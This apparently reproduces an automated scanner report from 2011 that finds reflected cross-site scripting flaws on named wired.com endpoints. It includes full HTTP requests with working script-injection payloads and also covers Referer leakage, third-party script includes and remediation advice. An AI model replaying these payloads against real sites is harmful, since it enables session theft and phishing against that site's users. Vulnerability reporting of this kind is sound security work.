XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86, wired.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.wired.com/ajax/widgets/related/content/blogPost/gadgetlab_61778 [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wired.com
Path:	/ajax/widgets/related/content/blogPost/gadgetlab_61778

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35742"><a>a87414d0a59 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /ajax35742"><a>a87414d0a59/widgets/related/content/blogPost/gadgetlab_61778 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: text/html, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28915
Vary: Accept-Encoding
Cache-Control: max-age=224
Expires: Wed, 27 Apr 2011 12:36:11 GMT
Date: Wed, 27 Apr 2011 12:32:27 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<body class="s_ajax35742"><a>a87414d0a59 ss_widgets c_related">
...[SNIP]...

1.2. http://www.wired.com/ajax/widgets/related/content/blogPost/gadgetlab_61778 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wired.com
Path:	/ajax/widgets/related/content/blogPost/gadgetlab_61778

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6862"><a>cdf76b5b87f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /ajax/widgetse6862"><a>cdf76b5b87f/related/content/blogPost/gadgetlab_61778 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: text/html, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28915
Vary: Accept-Encoding
Cache-Control: max-age=230
Expires: Wed, 27 Apr 2011 12:36:23 GMT
Date: Wed, 27 Apr 2011 12:32:33 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<body class="s_ajax ss_widgetse6862"><a>cdf76b5b87f c_related">
...[SNIP]...

1.3. http://www.wired.com/ajax/widgets/related/content/blogPost/gadgetlab_61778 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wired.com
Path:	/ajax/widgets/related/content/blogPost/gadgetlab_61778

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d894b"><a>4a953438444 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /ajax/widgets/relatedd894b"><a>4a953438444/content/blogPost/gadgetlab_61778 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: text/html, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28915
Vary: Accept-Encoding
Cache-Control: max-age=236
Expires: Wed, 27 Apr 2011 12:36:32 GMT
Date: Wed, 27 Apr 2011 12:32:36 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<body class="s_ajax ss_widgets c_relatedd894b"><a>4a953438444">
...[SNIP]...

1.4. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c371b"><a>aca1a537216 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /servicesc371b"><a>aca1a537216/dart/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28953
Vary: Accept-Encoding
Cache-Control: max-age=225
Expires: Wed, 27 Apr 2011 12:35:29 GMT
Date: Wed, 27 Apr 2011 12:31:44 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<body class="s_servicesc371b"><a>aca1a537216 ss_dart c_init">
...[SNIP]...

1.5. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload ed641--><script>alert(1)</script>c8c025465ac was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /servicesed641--><script>alert(1)</script>c8c025465ac/dart/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28994
Vary: Accept-Encoding
Cache-Control: max-age=239
Expires: Wed, 27 Apr 2011 12:35:46 GMT
Date: Wed, 27 Apr 2011 12:31:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<script>alert(1)</script>c8c025465ac/dart/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs
-->
...[SNIP]...

1.6. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36de8"><a>990c23d2e0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /services/dart36de8"><a>990c23d2e0/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Expires: Wed, 27 Apr 2011 12:31:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 27 Apr 2011 12:31:47 GMT
Content-Length: 28951
Connection: close
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=cab4KvlczZUDXf-Wz8w_s; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<body class="s_services ss_dart36de8"><a>990c23d2e0 c_init">
...[SNIP]...

1.7. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 45df0--><script>alert(1)</script>7823528696c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /services/dart45df0--><script>alert(1)</script>7823528696c/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Expires: Wed, 27 Apr 2011 12:31:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 27 Apr 2011 12:31:49 GMT
Content-Length: 28994
Connection: close
Vary: Accept-Encoding
Set-Cookie: JSESSIONID=cbaeGDNkvunPi6urA8w_s; path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<script>alert(1)</script>7823528696c/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs
-->
...[SNIP]...

1.8. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e356b"><a>4c96881502b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /services/dart/inite356b"><a>4c96881502b/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28953
Vary: Accept-Encoding
Cache-Control: max-age=600
Expires: Wed, 27 Apr 2011 12:41:50 GMT
Date: Wed, 27 Apr 2011 12:31:50 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<body class="s_services ss_dart c_inite356b"><a>4c96881502b">
...[SNIP]...

1.9. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 40da3--><script>alert(1)</script>c155eded384 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /services/dart/init40da3--><script>alert(1)</script>c155eded384/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.52 (Red Hat)
Content-Type: text/html; charset=UTF-8
Content-Length: 28980
Vary: Accept-Encoding
Cache-Control: max-age=600
Expires: Wed, 27 Apr 2011 12:41:53 GMT
Date: Wed, 27 Apr 2011 12:31:53 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dt
...[SNIP]...
<script>alert(1)</script>c155eded384/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs
-->
...[SNIP]...

1.10. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload f17b8<script>alert(1)</script>ca9c1ac4b23 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services/dart/init/gadgetlab/kwf17b8<script>alert(1)</script>ca9c1ac4b23=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Content-Language: en-US
Content-Type: text/javascript; charset=UTF-8
Content-Length: 293
Cache-Control: private, max-age=600
Expires: Wed, 27 Apr 2011 12:41:53 GMT
Date: Wed, 27 Apr 2011 12:31:53 GMT
Connection: close

CN.dart.init({site:'wiredcom.dart', zone: 'gadgetlab;', kws:[ "2011","blogs","03","amazon-app-store-security","kwf17b8<script>alert(1)</script>ca9c1ac4b23=gadgetlab"], charmap : {' ' : '+', '-' : '_'}});

1.11. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [kw parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The value of the kw request parameter is copied into the HTML document as plain text between tags. The payload 7f64f<script>alert(1)</script>2324d4e3f42 was submitted in the kw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services/dart/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs7f64f<script>alert(1)</script>2324d4e3f42 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Content-Language: en-US
Content-Type: text/javascript; charset=UTF-8
Content-Length: 290
Cache-Control: private, max-age=600
Expires: Wed, 27 Apr 2011 12:41:44 GMT
Date: Wed, 27 Apr 2011 12:31:44 GMT
Connection: close

CN.dart.init({site:'wiredcom.dart', zone: 'gadgetlab;', kws:[ "2011","gadgetlab","03","amazon-app-store-security","blogs7f64f<script>alert(1)</script>2324d4e3f42"], charmap : {' ' : '+', '-' : '_'}});

1.12. http://www.wired.com/services/dart/init/gadgetlab/kw=gadgetlab [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wired.com
Path:	/services/dart/init/gadgetlab/kw=gadgetlab

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload eade2<script>alert(1)</script>d5ceeb814fa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services/dart/init/gadgetlab/kw=gadgetlab;kw=2011;kw=03;kw=amazon-app-store-security;kw=blogs&eade2<script>alert(1)</script>d5ceeb814fa=1 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Content-Language: en-US
Content-Type: text/javascript; charset=UTF-8
Content-Length: 293
Cache-Control: private, max-age=600
Expires: Wed, 27 Apr 2011 12:41:44 GMT
Date: Wed, 27 Apr 2011 12:31:44 GMT
Connection: close

CN.dart.init({site:'wiredcom.dart', zone: 'gadgetlab;', kws:[ "2011","gadgetlab","03","amazon-app-store-security","blogs&eade2<script>alert(1)</script>d5ceeb814fa=1"], charmap : {' ' : '+', '-' : '_'}});

2. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wired.com
Path:	/js/global.js

Issue detail

The page was loaded from a URL containing a query string:

http://www.wired.com/js/global.js?1103

The response contains the following link to another domain:

http://0/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /js/global.js?1103 HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
Referer: http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Cache-Control: max-age=600
Expires: Wed, 27 Apr 2011 12:41:17 GMT
Date: Wed, 27 Apr 2011 12:31:17 GMT
Connection: close
Content-Length: 37327

//mobify include
var _mm = "http://m.wired.com/";

(function() {
if(document.domain.indexOf("howto.wired.com")>=0) {
return;
}
if(document.domain.indexOf("wired.com")>=0) {

...[SNIP]...
)
document.addEventListener("DOMContentLoaded", init, false);

// for Internet Explorer
/*@cc_on @*/
/*@if (@_win32)
document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>
...[SNIP]...

3. Cross-domain script include previous next
There are 2 instances of this issue:

/gadgetlab/2011/03/amazon-app-store-security/
/js/global.js

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

3.1. http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wired.com
Path:	/gadgetlab/2011/03/amazon-app-store-security/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/BrightcoveExperiences.js
http://d.yimg.com/ds/badge2.js
http://lite.piclens.com/current/piclens_optimized.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php
http://www.google-analytics.com/urchin.js

Request

GET /gadgetlab/2011/03/amazon-app-store-security/ HTTP/1.1
Host: www.wired.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.6
Last-Modified: Wed, 27 Apr 2011 11:35:31 +0000
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Cache-Control: must-revalidate, max-age=365
Expires: Wed, 27 Apr 2011 12:37:07 GMT
Date: Wed, 27 Apr 2011 12:31:02 GMT
Connection: close
Content-Length: 156997

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head p
...[SNIP]...

<script type="text/javascript" src="http://lite.piclens.com/current/piclens_optimized.js"></script>
...[SNIP]...
</a>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<li id="sb_yahoo">
<script type="text/javascript" src="http://d.yimg.com/ds/badge2.js" badgetype="logo">wired:http://www.wired.com/gadgetlab/2011/03/amazon-app-store-security/</script>
...[SNIP]...
<script language="JavaScript" type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...
</div>
<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...

